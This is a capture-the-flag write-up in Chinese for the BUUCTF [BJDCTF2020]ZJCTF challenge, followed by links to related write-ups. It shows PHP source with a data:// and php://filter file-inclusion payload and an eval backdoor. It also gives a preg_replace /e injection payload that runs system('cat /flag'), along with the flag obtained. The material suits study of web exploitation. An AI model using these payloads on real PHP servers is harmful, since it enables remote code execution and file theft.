BUUCTF WEB [BJDCTF2020]ZJCTF,不过如此
BUUCTF WEB [BJDCTF2020]ZJCTF,不过如此
进入环境后得到源码
<?phperror_reporting(0); $text = $_GET["text"]; $file = $_GET["file"]; if(isset($text)&&(file_get_contents($text,'r')==="I have a dream")){echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";if(preg_match("/flag/",$file)){die("Not now!");}include($file); //next.php} else{highlight_file(__FILE__); } ?>
使用PHP伪协议构造payload
?text=data://text/plain,I have a dream&file=php://filter/convert.base64-encode/resource=next.php
回显
PD9waHAKJGlkID0gJF9HRVRbJ2lkJ107CiRfU0VTU0lPTlsnaWQnXSA9ICRpZDsKCmZ1bmN0aW9uIGNvbXBsZXgoJHJlLCAkc3RyKSB7CiAgICByZXR1cm4gcHJlZ19yZXBsYWNlKAogICAgICAgICcvKCcgLiAkcmUgLiAnKS9laScsCiAgICAgICAgJ3N0cnRvbG93ZXIoIlxcMSIpJywKICAgICAgICAkc3RyCiAgICApOwp9CgoKZm9yZWFjaCgkX0dFVCBhcyAkcmUgPT4gJHN0cikgewogICAgZWNobyBjb21wbGV4KCRyZSwgJHN0cikuICJcbiI7Cn0KCmZ1bmN0aW9uIGdldEZsYWcoKXsKCUBldmFsKCRfR0VUWydjbWQnXSk7Cn0K
base64解密
<?php $id = $_GET['id']; $_SESSION['id'] = $id;function complex($re, $str) {return preg_replace('/(' . $re . ')/ei','strtolower("\\1")',$str); }foreach($_GET as $re => $str) {echo complex($re, $str). "\n"; }function getFlag(){@eval($_GET['cmd']); }
这里可以看出cmd参数存在命令执行漏洞,但问题是如何调用getFlag()函数。这里涉及到 preg_replace /e 模式的代码执行漏洞
function complex($re, $str) {return preg_replace('/(' . $re . ')/ei','strtolower("\\1")',$str); }foreach($_GET as $re => $str) {echo complex($re, $str). "\n"; }
若payload为
/?.*={${phpinfo()}}
则
原先的语句: preg_replace('/(' . $regex . ')/ei', 'strtolower("\\1")', $value); 变成了语句: preg_replace('/(.*)/ei', 'strtolower("\\1")', {${phpinfo()}});
注意:正则表达式模式或部分模式两边添加
()
将导致匹配到的字符串存储到临时缓冲区中,缓冲区编号从1开始,最多存储99个子表达式。每个缓冲区都可以用\n
访问,其中n为缓冲区编号。preg_replace('/(.*)/ei', 'strtolower("\\1")', {${phpinfo()}});
将会把{${phpinfo()}}
存储到缓冲区1,此时匹配后的字符串为/(\\1)/ei
,\\1
即\1
,这将会导致反向引用缓冲区的内容,将其修改为/{${phpinfo()}}/ei
,从而导致命令执行。在本题中,PHP会将传入的非法的
$_GET
数组参数名转化为下划线,即将.*
转化为_
。可以修改payload为?\S*=${getFlag()}&cmd=...
其中
\S
表示匹配任何非空白字符,从而达到我们调用getFlag函数的目的构造payload
?\S*=${getFlag()}&cmd=system('cat /flag');
回显
flag{6b53cc7c-e9e8-47a1-80ed-10ca16c81ae5} system('cat /flag');
BUUCTF WEB [BJDCTF2020]ZJCTF,不过如此相关推荐
- BUUCTF WEB [BJDCTF2020]The mystery of ip
BUUCTF WEB [BJDCTF2020]The mystery of ip 在hint.php中找到一句注释 <!-- Do you know why i know your ip? -- ...
- 攻防世界 favorite_number mfw、[BJDCTF2020]ZJCTF,不过如此
favorite_number 进入环境得到源码 <?php //php5.5.9 $stuff = $_POST["stuff"]; $array = ['admin', ...
- BUUCTF Web 第二页全部Write ups
更多笔记,可以关注yym68686.top 目录 [强网杯 2019]高明的黑客 [BUUCTF 2018]Online Tool [RoarCTF 2019]Easy Java [GXYCTF201 ...
- Buuctf -web wp汇总(一)
Buuctf -web wp汇总(一):链接 Buuctf -web wp汇总(二):链接 持续更新ing~ BuuCTF平台 文章目录 BuuCTF平台 [极客大挑战 2019]EasySQL [极 ...
- Buuctf -web wp汇总(三)
Buuctf -web wp汇总(一):链接 Buuctf -web wp汇总(二):链接 Buuctf -web wp汇总(三):链接 文章目录 [WUSTCTF2020]朴实无华 [WUSTCTF ...
- BUUCTF Web 极客大挑战 2019 EasySQL
BUUCTF Web 极客大挑战 2019 EasySQL 文章目录 BUUCTF Web 极客大挑战 2019 EasySQL 1,输入万能密码: 2,输入万能账号 首先有点常识: 正常SQL语句这 ...
- BUUCTF WEB [BSidesCF 2020]Had a bad day
BUUCTF WEB [BSidesCF 2020]Had a bad day index.php?category=woofers' 报错 Warning: include(woofers'.php ...
- BUUCTF WEB [极客大挑战 2019]LoveSQL
BUUCTF WEB [极客大挑战 2019]LoveSQL 进入靶机后尝试万能密码登录 admin 123' or '1'='1 获得flag Login Success! Hello admin! ...
- ctf php正则截断,记[BJDCTF2020]ZJCTF,不过如此 关于php的正则匹配问题
题目一上来就直接放出一段代码,那么话不多说,直接进行代码设计. error_reporting(0); $text = $_GET["text"]; $file = $_GET[& ...
最新文章
- Qt 程序在 Windows 下的发布
- 对图像数据最主要的预处理: Resize
- torch.load No module named
- 转:ESRI矢量数据格式简介
- shell+mysql获取数据库名_shell操作mysql数据库
- 剑灵系统推荐加点_剑灵重制修炼系统 无定式加点打造自我风格
- skywalking搭建与使用
- linux 系统一键安装 lnmp
- ylbtech-dbs-m-YinTai(银泰网)
- Spring Cloud基础入门
- 读Pyqt4教程,带你入门Pyqt4 _007
- poj1013 Counterfeit Dollar
- Pycharm2018 汉化
- thrift实战教程
- u盘linux启动盘制作ultraiso,U+启动:利用UltraISO制作启动U盘,引导DOS系统
- UG NX 12鼠标和键盘操作
- typeAliasesPackage的作用
- F28335 PWM触发ADC采样 代码+注释
- 文本相关_SAP刘梦_新浪博客
- 实验室主任在ISO 15189认可准备中应该扮演什么样的角色